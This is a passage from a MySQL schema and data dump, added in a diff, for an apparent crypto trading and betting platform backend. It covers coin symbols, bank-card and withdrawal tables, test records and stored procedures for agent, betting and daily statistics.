'rabbitcoin', 'RBBT', 'RabbitCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rabbitcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (4127, 'tratok', 'TRAT', 'Tratok', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tratok.png', NULL); +INSERT INTO `t_symbols` VALUES (4128, 'sofa-network', 'PHTM', 'Phantom Matter', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sofa-network.png', NULL); +INSERT INTO `t_symbols` VALUES (4129, 'thur-gold', 'THGL', 'Thur Gold', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/thur-gold.png', NULL); +INSERT INTO `t_symbols` VALUES (4130, 'scaltinof', 'SCAL', 'Scaltinof', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/scaltinof.png', NULL); +INSERT INTO `t_symbols` VALUES (4131, 'blockhive', 'HIVE', 'blockhive', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/blockhive.png', NULL); +INSERT INTO `t_symbols` VALUES (4132, 'inferno', 'BLAZE', 'Inferno', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/inferno.png', NULL); +INSERT INTO `t_symbols` VALUES (4133, 'digimoney', 'DGM', 'DigiMoney', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/digimoney.png', NULL); +INSERT INTO `t_symbols` VALUES (4134, 'max-token', 'MAX', 'MAX Exchange Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/max-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (4135, 'kimcoin', 'KIM', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/kimcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (4136, 'elfinkingdom', 'ELFIN', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/elfinkingdom.png', NULL); +INSERT INTO `t_symbols` VALUES (4137, 'nomadexile', 'PRIDE', 'Nomad Exiles', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/nomadexile.png', NULL); +INSERT INTO `t_symbols` VALUES (4138, 'fon', 'FON', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fon.png', NULL); +INSERT INTO `t_symbols` VALUES (4139, 'fluidity-governance-token', 'FLUIDITY', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/fluidity.png', NULL); +INSERT INTO `t_symbols` VALUES (4140, 'abld', 'ABLD', 'ABLE Dollar', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/abld.png', NULL); + +-- ---------------------------- +-- Table structure for t_user_bank +-- ---------------------------- +DROP TABLE IF EXISTS `t_user_bank`; +CREATE TABLE `t_user_bank` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT, + `user_name` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '姓名', + `card_number` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '银行卡号', + `bank_name` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '开户银行名称', + `bank_address` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '开户省市', + `bank_branch` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '开户网点', + `user_id` bigint(0) NULL DEFAULT NULL COMMENT '用户名称', + `admin_parent_ids` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `create_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '更新时间', + `remark` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `search_value` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `bank_code` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '银行编码', + `user_address` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '用户地址', + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 42 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for t_user_coin +-- ---------------------------- +DROP TABLE IF EXISTS `t_user_coin`; +CREATE TABLE `t_user_coin` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT COMMENT '主键', + `user_id` bigint(0) NULL DEFAULT NULL COMMENT '用户id', + `coin` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '币种', + `icon` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '图标', + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 1 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of t_user_coin +-- ---------------------------- +INSERT INTO `t_user_coin` VALUES (1, 336, 'btc', 'https://echo-res.oss-cn-hongkong.aliyuncs.com/waihui/bitcoin.png'); + +-- ---------------------------- +-- Table structure for t_user_symbol_address +-- ---------------------------- +DROP TABLE IF EXISTS `t_user_symbol_address`; +CREATE TABLE `t_user_symbol_address` ( + `id` int(0) NOT NULL AUTO_INCREMENT COMMENT '主键id', + `user_id` int(0) NULL DEFAULT NULL COMMENT '用户id', + `symbol` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '币种', + `address` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '充值地址', + `search_value` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 6 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '用户币种充值地址' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of t_user_symbol_address +-- ---------------------------- +INSERT INTO `t_user_symbol_address` VALUES (4, 309, 'ETH', 'sdasdsad', NULL); +INSERT INTO `t_user_symbol_address` VALUES (5, 309, 'BTC', 'bteaddress', NULL); + +-- ---------------------------- +-- Table structure for t_withdraw +-- ---------------------------- +DROP TABLE IF EXISTS `t_withdraw`; +CREATE TABLE `t_withdraw` ( + `id` int(0) NOT NULL AUTO_INCREMENT COMMENT '卡ID', + `create_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '更新时间', + `remark` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `user_id` int(0) NOT NULL COMMENT '用户', + `username` varchar(256) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '用户名', + `address` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '用户名', + `amount` decimal(30, 6) NULL DEFAULT NULL COMMENT '提现金额', + `status` tinyint(0) UNSIGNED NOT NULL COMMENT '0审核中1成功2失败', + `serial_id` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `search_value` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `from_addr` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '用户名', + `type` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '0审核中1成功2失败', + `coin` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '用户名', + `ratio` double NULL DEFAULT NULL, + `fee` decimal(10, 6) NULL DEFAULT 0.000000 COMMENT '手续费', + `withdraw_id` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '用户名', + `host` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT 'Host', + `real_amount` decimal(20, 6) NULL DEFAULT NULL COMMENT '实际金额', + `to_adress` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '收款地址', + `admin_parent_ids` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '后台用户id', + `notice_flag` int(0) NULL DEFAULT 0 COMMENT '通知字段 0未通知 1通知了', + `with_draw_remark` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '提现说明', + `bank_name` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '银行名称', + `bank_user_name` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '银行收款人名称', + `bank_branch` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `admin_user_ids` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `operate_time` datetime(0) NULL DEFAULT NULL COMMENT '操作时间', + `fixed_fee` decimal(10, 6) NOT NULL DEFAULT 0.000000 COMMENT '固定手续费', + `order_type` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '订单类型 1/null 提现 2=彩金扣减', + `exchange_rate` decimal(10, 4) NULL DEFAULT NULL COMMENT '汇率', + `receipt_amount` decimal(10, 6) NULL DEFAULT NULL COMMENT '应到账金额', + `receipt_real_amount` decimal(10, 6) NULL DEFAULT NULL COMMENT '实际到账金额', + `receipt_coin` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '到账币种', + PRIMARY KEY (`id`) USING BTREE, + INDEX `idx_username`(`address`) USING BTREE, + INDEX `idx_time`(`create_time`) USING BTREE, + INDEX `admin_user_id`(`admin_parent_ids`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 2629 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_bin COMMENT = '用户提现表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of t_withdraw +-- ---------------------------- +INSERT INTO `t_withdraw` VALUES (2625, '123456', '2023-12-08 02:35:44', 'admin', '2023-12-08 02:39:01', NULL, 315, '123456', '', 1000.000000, 1, 'P120718351752', NULL, NULL, 'USDT-TRC', 'usdt', 0, 0.000000, NULL, NULL, 1000.000000, 'Fjfjfgjggj884', NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0.000000, NULL, 1.0000, 1000.000000, 1000.000000, 'usdt'); +INSERT INTO `t_withdraw` VALUES (2626, '123456', '2023-12-08 02:39:59', 'admin', '2023-12-08 02:40:43', NULL, 315, '123456', '', 3988.000000, 2, 'P1207183995071', NULL, NULL, 'USDT-TRC', 'usdt', 0, 0.000000, NULL, NULL, 3988.000000, 'Djjdfjgjssjxjc', NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0.000000, NULL, 1.0000, 3988.000000, 3988.000000, 'usdt'); +INSERT INTO `t_withdraw` VALUES (2627, 'test01', '2024-02-08 18:51:25', 'admin', '2024-02-08 18:59:13', NULL, 309, 'test01', '', 100.000000, 2, 'P0208105124236', NULL, NULL, 'USDT-TRC', 'usdt', 0, 0.000000, NULL, NULL, 100.000000, '111121312312', NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0.000000, NULL, 1.0000, 100.000000, 100.000000, 'usdt'); +INSERT INTO `t_withdraw` VALUES (2628, 'test01', '2024-02-08 18:59:47', NULL, '2024-02-08 18:59:47', NULL, 309, 'test01', '', 100.000000, 0, 'P0208105911782', NULL, NULL, 'USDT-TRC', 'usdt', 0, 0.000000, NULL, NULL, 100.000000, '111', NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0.000000, NULL, 1.0000, 100.000000, 100.000000, 'usdt'); + +-- ---------------------------- +-- Procedure structure for agentCount +-- ---------------------------- +DROP PROCEDURE IF EXISTS `agentCount`; +delimiter ;; +CREATE PROCEDURE `agentCount`(IN d INT) +BEGIN + +DECLARE s INT DEFAULT 0; +DECLARE uid INT DEFAULT 0; +DECLARE curr DATE DEFAULT NULL; + +DECLARE cu CURSOR FOR SELECT user_id FROM t_app_user WHERE user_id IN (SELECT distinct root_id FROM agent_relation ); +DECLARE CONTINUE HANDLER FOR NOT found SET s=1; + +OPEN cu; + SET curr = DATE_SUB(CURDATE(),INTERVAL d DAY); + FETCH cu INTO uid; + WHILE s<>1 DO + DROP TABLE IF EXISTS a_temp; + CREATE TABLE a_temp AS SELECT user_id FROM agent_relation WHERE root_id=uid; + SELECT @subnum:= COUNT(*) FROM a_temp; + + IF @subnum>0 THEN + SELECT @reward:= IFNULL(SUM(amount),0) FROM t_app_wallet_record WHERE user_id =uid AND type=3 AND date_format(create_time,'%y%m%d') = date_format(curr,'%y%m%d'); + + SELECT @firstperson:= COUNT(1) FROM t_app_recharge WHERE user_id IN (SELECT user_id FROM a_temp ) AND pay_times=1 AND status=1 AND date_format(update_time,'%y%m%d') = date_format(curr,'%y%m%d'); + SELECT @drwamoney:= IFNULL(SUM(t.amount),0) ,@drawperson:= COUNT(distinct(t.user_id)) FROM t_withdraw t WHERE t.user_id IN (SELECT user_id FROM a_temp ) AND t.status=1 AND date_format(t.update_time,'%y%m%d') = date_format(curr,'%y%m%d'); + SELECT @sdrawmoney:= IFNULL(SUM(t.amount),0) ,@sdrawperson:= COUNT(distinct(t.user_id)) FROM t_app_wallet_record t WHERE t.user_id IN (SELECT user_id FROM a_temp ) AND t.type=12 AND date_format(t.create_time,'%y%m%d') = date_format(curr,'%y%m%d'); + + SELECT @paymoney:= IFNULL(SUM(t.amount),0) ,@person:= COUNT(distinct(t.user_id)) FROM t_app_wallet_record t WHERE t.user_id IN (SELECT user_id FROM a_temp ) AND (t.type=1 OR t.type=10) AND date_format(t.create_time,'%y%m%d') = date_format(curr,'%y%m%d'); + SELECT @ordtime:=COUNT(*) ,@ordperson := COUNT(distinct(r.user_id)) FROM t_order_item r WHERE r.user_id IN (SELECT user_id FROM a_temp ) AND date_format(r.create_time,'%y%m%d') = date_format(curr,'%y%m%d'); + SELECT @directsub:= COUNT(*) FROM t_app_user WHERE parent_id =uid; + INSERT INTO t_app_agent + (user_id,create_time,dirsub,sub,sub_reward,pay_person,pay_money,order_person,order_times,draw_money,draw_person,first_person) + VALUES + (uid,curr,@directsub,@subnum,@reward,@person,@paymoney,@ordperson,@ordtime,@drwamoney+@sdrawmoney,@drawperson+@sdrawperson,@firstperson); + END IF; + FETCH cu INTO uid; + END WHILE; +CLOSE cu; +DROP TABLE IF EXISTS a_temp; +END +;; +delimiter ; + +-- ---------------------------- +-- Procedure structure for agentRelation +-- ---------------------------- +DROP PROCEDURE IF EXISTS `agentRelation`; +delimiter ;; +CREATE PROCEDURE `agentRelation`(IN uid BIGINT) +BEGIN + +DECLARE rlevel INT DEFAULT 0; +DECLARE rootid TEXT DEFAULT NULL; + +SELECT @rtree:=tree FROM t_app_user where user_id=uid; +SET rlevel=1; + iterator: + LOOP + SET rootid =SUBSTRING_INDEX(SUBSTRING_INDEX(@rtree,',',0-rlevel),',',1); + INSERT INTO agent_relation (user_id,root_id,level,create_time) VALUES (uid,rootid,rlevel,now()); + IF rootid =0 THEN + LEAVE iterator; + END IF; + SET rlevel=rlevel+1; + END LOOP; +END +;; +delimiter ; + +-- ---------------------------- +-- Procedure structure for agentRelationAll +-- ---------------------------- +DROP PROCEDURE IF EXISTS `agentRelationAll`; +delimiter ;; +CREATE PROCEDURE `agentRelationAll`() +BEGIN + +DECLARE s INT DEFAULT 0; +DECLARE uid INT DEFAULT 0; +DECLARE rlevel INT DEFAULT 0; +DECLARE rootid TEXT DEFAULT NULL; +DECLARE rtree VARCHAR(1024); + +DECLARE cu CURSOR FOR SELECT user_id,tree FROM t_app_user; +DECLARE CONTINUE HANDLER FOR NOT found SET s=1; + +OPEN cu; + FETCH cu INTO uid,rtree; + WHILE s<>1 DO + SET rlevel=1; + iterator: + LOOP + SET rootid =SUBSTRING_INDEX(SUBSTRING_INDEX(rtree,',',0-rlevel),',',1); + INSERT INTO agent_relation (user_id,root_id,level,create_time) VALUES (uid,rootid,rlevel,now()); + IF rootid =0 THEN + LEAVE iterator; + END IF; + SET rlevel=rlevel+1; + END LOOP; + FETCH cu INTO uid,rtree; + END WHILE; +CLOSE cu; +DROP TABLE IF EXISTS a_temp; +END +;; +delimiter ; + +-- ---------------------------- +-- Procedure structure for betDateCount +-- ---------------------------- +DROP PROCEDURE IF EXISTS `betDateCount`; +delimiter ;; +CREATE PROCEDURE `betDateCount`() +BEGIN + SELECT @betTimes:=COUNT(*),@betMoney:=IFNULL(SUM(t.money),0),@betperson:=COUNT(distinct (t.user_id)),@fee:=IFNULL(SUM(t.fee),0), @lose:=IFNULL(SUM(t.money-t.earn*t.money),0), + @tax:= SUM(t.money*(100+t.odd_percent)/100+t.earn*t.money*(100+t.odd_percent)/100-t.fee-t.earn*t.fee),@wl:=COUNT(t.earn),@win:=IFNULL(SUM(IF(earn=1,t.fee-t.money,0)),0) + FROM t_order_item t WHERE date_format(t.update_time,'%y%m%d')= DATE_SUB(CURDATE(),INTERVAL 1 DAY) AND t.`status`=1; + + INSERT INTO t_bet_date + (create_time,bet_money,bet_times,bet_person,tax,fee,wl,lose_money,win_fee) + VALUES + (DATE_SUB(CURDATE(),INTERVAL 1 DAY),@betMoney,@betTimes,@betperson,IFNULL(@tax,0)/2,@fee,@wl,@lose,@win); +END +;; +delimiter ; + +-- ---------------------------- +-- Procedure structure for bitchBack +-- ---------------------------- +DROP PROCEDURE IF EXISTS `bitchBack`; +delimiter ;; +CREATE PROCEDURE `bitchBack`(IN matchid INT,IN bet VARCHAR(20),IN ishalf INT,IN cname VARCHAR(20)) +BEGIN + DECLARE s INT DEFAULT 0; + DECLARE uid INT DEFAULT 0; + DECLARE betmoney BIGINT DEFAULT 0; + DECLARE tmoney BIGINT DEFAULT 0; + DECLARE toid VARCHAR(50) DEFAULT 0; + DECLARE cu CURSOR FOR SELECT user_id,money,serial_id FROM t_order_item WHERE match_id=matchid AND cut_line=bet AND status=1 AND is_half=ishalf; + DECLARE CONTINUE HANDLER FOR NOT found SET s=1; + OPEN cu; + FETCH cu INTO uid,betmoney,toid; + WHILE s<>1 DO + SELECT @tmoney:=money,@uname:=username FROM t_wallet WHERE user_id=uid; + UPDATE t_wallet SET money=money+betmoney WHERE user_id=uid; + INSERT INTO `t_app_wallet_record` (`amount`, `create_by`, `create_time`, `update_by`, `update_time`, `remark`, `user_id`, `username`, `search_value`, `before_amount`, `after_amount`, `serial_id`, `type`) VALUES + ( betmoney, cname, NOW(), NULL, NULL, 'bitchreback', uid, @uname, NULL, @tmoney, @tmoney+betmoney, toid, 17); + FETCH cu INTO uid,betmoney,toid; + END WHILE; + CLOSE cu; + UPDATE t_order_item SET `status`=3 WHERE match_id=matchid AND cut_line=bet AND status=1 AND is_half=ishalf; +END +;; +delimiter ; + +-- ---------------------------- +-- Procedure structure for dailyData +-- ---------------------------- +DROP PROCEDURE IF EXISTS `dailyData`; +delimiter ;; +CREATE PROCEDURE `dailyData`(IN d INT) +BEGIN + +DECLARE s INT DEFAULT 0; +DECLARE uid INT DEFAULT 0; +DECLARE curr DATE DEFAULT NULL; + +DECLARE cu CURSOR FOR SELECT contract_id FROM m_game; +DECLARE CONTINUE HANDLER FOR NOT found SET s=1; + +OPEN cu; + SET curr = DATE_SUB(CURDATE(),INTERVAL 1 DAY); + FETCH cu INTO uid; + WHILE s<>1 DO + SELECT @totalAmount:=sum(amount)/1000000, @totalNumber:=count(*), @totalUser:=count(DISTINCT(address)) + from t_order where date_format(create_time,'%y%m%d') =DATE_SUB(CURDATE(),INTERVAL 1 DAY); + SELECT @loseAmount:=sum(amount)/1000000, @loseNumber:=count(*), @totalUser:=count(DISTINCT(address)) + from t_order where date_format(create_time,'%y%m%d') =DATE_SUB(CURDATE(),INTERVAL 1 DAY) and status = 2; + SELECT @lotteryAmount:=sum(amount)/1000000, @lotteryNumber:=count(*), @lotteryUser:=count(DISTINCT(address)) + from t_order where date_format(create_time,'%y%m%d') =DATE_SUB(CURDATE(),INTERVAL 1 DAY) and status = 3; + SELECT @doneAmount:=sum(amount)/1000000, @doneNumber:=count(*), @doneUser:=count(DISTINCT(address)) + from t_order where date_format(create_time,'%y%m%d') =DATE_SUB(CURDATE(),INTERVAL 1 DAY) and status = 4; + INSERT INTO t_daily_data + (game_id,total_amount,total_user,total_number,lottery_amount,lottery_user,lottery_number,lose_amount,lose_user,lose_number,auto_date,create_time) + VALUES + (uid,totalAmount,totalUser,totalNumber,lotteryAmount,lotteryUser,lotteryNumber,loseAmount,loseUser,loseNumber,curr,CURDATE()); + FETCH cu INTO uid; + END WHILE; +CLOSE cu; +END +;; +delimiter ; + +-- ---------------------------- +-- Procedure structure for dailyDataPro +-- ---------------------------- +DROP PROCEDURE IF EXISTS `dailyDataPro`; +delimiter ;; +CREATE PROCEDURE `dailyDataPro`(IN d INT) +BEGIN + +DECLARE s INT DEFAULT 0; +DECLARE uid INT DEFAULT 0; +DECLARE curr DATE DEFAULT NULL; + +DECLARE cu CURSOR FOR SELECT contract_id FROM m_game; +DECLARE CONTINUE HANDLER FOR NOT found SET s=1; + +OPEN cu; + SET curr = DATE_SUB(CURDATE(),INTERVAL 1 DAY); + FETCH cu INTO uid; + WHILE s<>1 DO + SELECT @totalAmount:=sum(amount)/1000000, @totalNumber:=count(*), @totalUser:=count(DISTINCT(address)) + from t_order where date_format(begin_time,'%y%m%d') =DATE_SUB(CURDATE(),INTERVAL 1 DAY); + SELECT @loseAmount:=sum(amount)/1000000, @loseNumber:=count(*), @totalUser:=count(DISTINCT(address)) + from t_order where date_format(begin_time,'%y%m%d') =DATE_SUB(CURDATE(),INTERVAL 1 DAY) and status = 2; + SELECT @lotteryAmount:=sum(amount)/1000000, @lotteryNumber:=count(*), @lotteryUser:=count(DISTINCT(address)) + from t_order where date_format(begin_time,'%y%m%d') =DATE_SUB(CURDATE(),INTERVAL 1 DAY) and status = 3; + SELECT @doneAmount:=sum(amount)/1000000, @doneNumber:=count(*), @doneUser:=count(DISTINCT(address)) + from t_order where date_format(begin_time,'%y%m%d') =DATE_SUB(CURDATE(),INTERVAL 1 DAY) and status = 4; + INSERT INTO t_daily_data + (game_id,total_amount,total_user,total_number,lottery_amount,lottery_user,lottery_number,lose_amount,lose_user,lose_number,auto_date, create_date) + VALUES + (uid,totalAmount,totalUser,totalNumber,lotteryAmount,lotteryUser,lotteryNumber,loseAmount,loseUser,loseNumber,curry,CURDATE()); + FETCH cu INTO uid; + END WHILE; +CLOSE cu; +END +;; +delimiter ; + +-- ---------------------------- +-- Procedure structure for daily_sum_statistic +-- ---------------------------- +DROP PROCEDURE IF EXISTS `daily_sum_statistic`; +delimiter ;; +CREATE PROCEDURE `daily_sum_statistic`() +BEGIN +DECLARE s INT DEFAULT 0; +DECLARE uid INT DEFAULT 0; +DECLARE curr DATE DEFAULT NULL; +DECLARE cu CURSOR FOR SELECT contract_id FROM m_game; +DECLARE CONTINUE HANDLER FOR NOT found SET s=1; +OPEN cu; + SET curr = DATE_SUB(CURDATE(),INTERVAL 1 DAY); + FETCH cu INTO uid; + WHILE s<>1 DO + SELECT @totalAmount:=sum(amount)/1000000 as totalAmount, @totalNumber:=count(*) as totalNumber, @totalUser:=count(DISTINCT(address)) as totalUser from t_order where date_format(create_time,'%y%m%d') =DATE_SUB(CURDATE(),INTERVAL 1 DAY) and game_id = uid; + SELECT @loseAmount:=sum(amount)/1000000 as loseAmount , @loseNumber:=count(*) as loseNumber, @loseUser:=count(DISTINCT(address)) as loseUser from t_order where date_format(create_time,'%y%m%d') =DATE_SUB(CURDATE(),INTERVAL 1 DAY) and status = 2 and game_id = uid; + SELECT @lotteryAmount:=sum(amount)/1000000 as lotteryAmount, @lotteryNumber:=count(*) as lotteryNumber, @lotteryUser:=count(DISTINCT(address)) as lotteryUser from t_order where date_format(create_time,'%y%m%d') =DATE_SUB(CURDATE(),INTERVAL 1 DAY) and status = 3 and game_id=uid; + SELECT @doneAmount:=sum(amount)/1000000 as doneAmount, @doneNumber:=count(*) as doneNumber, @doneUser:=count(DISTINCT(address)) as doneUser from t_order where date_format(create_time,'%y%m%d') =DATE_SUB(CURDATE(),INTERVAL 1 DAY) and status = 4 and game_id=uid; + replace INTO t_daily_data (game_id,total_amount,total_user,total_number,lottery_amount,lottery_user,lottery_number,lose_amount,lose_user,lose_number, done_number, done_user, auto_date,create_time) + VALUES (uid,ifnull(@totalAmount,0),ifnull(@totalUser,0),ifnull(@totalNumber,0),ifnull(@lotteryAmount,0),ifnull(@lotteryUser,0),ifnull(@lotteryNumber,0),ifnull(@loseAmount,0),ifnull(@loseUser,0),ifnull(@loseNumber,0), ifnull(@doneNumber,0), ifnull(@doneUser,0), curr,now()); + FETCH cu INTO uid; + END WHILE; +CLOSE cu; +END +;; +delimiter ; + +-- ---------------------------- +-- Procedure structure for daily_sum_statistic_address +-- ---------------------------- +DROP PROCEDURE IF EXISTS `daily_sum_statistic_address`; +delimiter ;; +CREATE PROCEDURE `daily_sum_statistic_address`() +BEGIN +DECLARE s INT DEFAULT 0; +DECLARE uid INT DEFAULT 0; +DECLARE curr DATE DEFAULT NULL; +DECLARE out_done int DEFAULT FALSE ; +DECLARE cu CURSOR FOR SELECT contract_id FROM m_game; +DECLARE CONTINUE HANDLER FOR NOT found SET out_done=true; +OPEN cu; +SET curr = DATE_SUB(CURDATE(),INTERVAL 1 DAY); +WHILE not out_done DO + FETCH cu INTO uid; + if NOT out_done THEN + BEGIN + DECLARE inner_done int DEFAULT FALSE; + DECLARE address_now varchar(128) DEFAULT NULL; + + DECLARE address_cu CURSOR FOR SELECT distinct(address) FROM t_order where DATE(create_time) = DATE_SUB(CURDATE(),INTERVAL 1 DAY) and address is not null and game_id = uid; + DECLARE CONTINUE HANDLER FOR NOT FOUND SET inner_done = TRUE; + + OPEN address_cu; + WHILE not inner_done DO + FETCH address_cu INTO address_now; + IF NOT inner_done THEN + SELECT uid, address_now, @totalAmount:=sum(amount)/1000000 as totalAmount, @totalNumber:=count(*) as totalNumber from t_order where date_format(create_time,'%y%m%d')=date_format(DATE_SUB(CURDATE(),INTERVAL 1 DAY), '%y%m%d') and address = address_now and game_id = uid; + + SELECT uid, address_now, @loseAmount:=sum(amount)/1000000 as loseAmount , @loseNumber:=count(*) as loseNumber from t_order where date_format(create_time,'%y%m%d')=date_format(DATE_SUB(CURDATE(),INTERVAL 1 DAY), '%y%m%d') and status = 2 and address = address_now and game_id = uid; + + SELECT uid, address_now, @lotteryAmount:=sum(amount)/1000000 as lotteryAmount, @lotteryNumber:=count(*) as lotteryNumber from t_order where date_format(create_time,'%y%m%d')=date_format(DATE_SUB(CURDATE(),INTERVAL 1 DAY), '%y%m%d') and status = 3 and address = address_now and game_id = uid; + + SELECT uid, address_now, @doneAmount:=sum(amount)/1000000 as doneAmount, @doneNumber:=count(*) as doneNumber from t_order where date_format(create_time,'%y%m%d')=date_format(DATE_SUB(CURDATE(),INTERVAL 1 DAY), '%y%m%d') and status = 4 and address = address_now and game_id = uid; + + replace INTO t_user_game_daily_data (game_id, address, total_amount,total_number,lottery_amount,lottery_number,lose_amount,lose_number, done_number, auto_date,create_time) VALUES (uid, address_now, ifnull(@totalAmount,0),ifnull(@totalNumber,0),ifnull(@lotteryAmount,0),ifnull(@lotteryNumber,0),ifnull(@loseAmount,0),ifnull(@loseNumber, 0),ifnull(@doneNumber,0), curr,now()); + END IF; + END WHILE; + END; + END IF; +END WHILE; +CLOSE cu; +END +;; +delimiter ; + +-- ---------------------------- +-- Procedure structure for datacopy +-- ---------------------------- +DROP PROCEDURE IF EXISTS `datacopy`; +delimiter ;; +CREATE PROCEDURE `datacopy`() +BEGIN + INSERT INTO t_app_wallet_record_history SELECT * FROM t_app_wallet_record WHERE create_time < DATE_SUB(CURDATE(),INTERVAL 30 DAY); + delete FROM t_app_wallet_record WHERE create_time < DATE_SUB(CURDATE(),INTERVAL 30 DAY); + INSERT INTO t_order_item_history SELECT * FROM t_order_item WHERE create_time < DATE_SUB(CURDATE(),INTERVAL 30 DAY); + delete FROM t_order_item WHERE create_time < DATE_SUB(CURDATE(),INTERVAL 30 DAY); +END +;; +delimiter ; + +-- ---------------------------- +-- Procedure structure for matctDateCount +-- ---------------------------- +DROP PROCEDURE IF 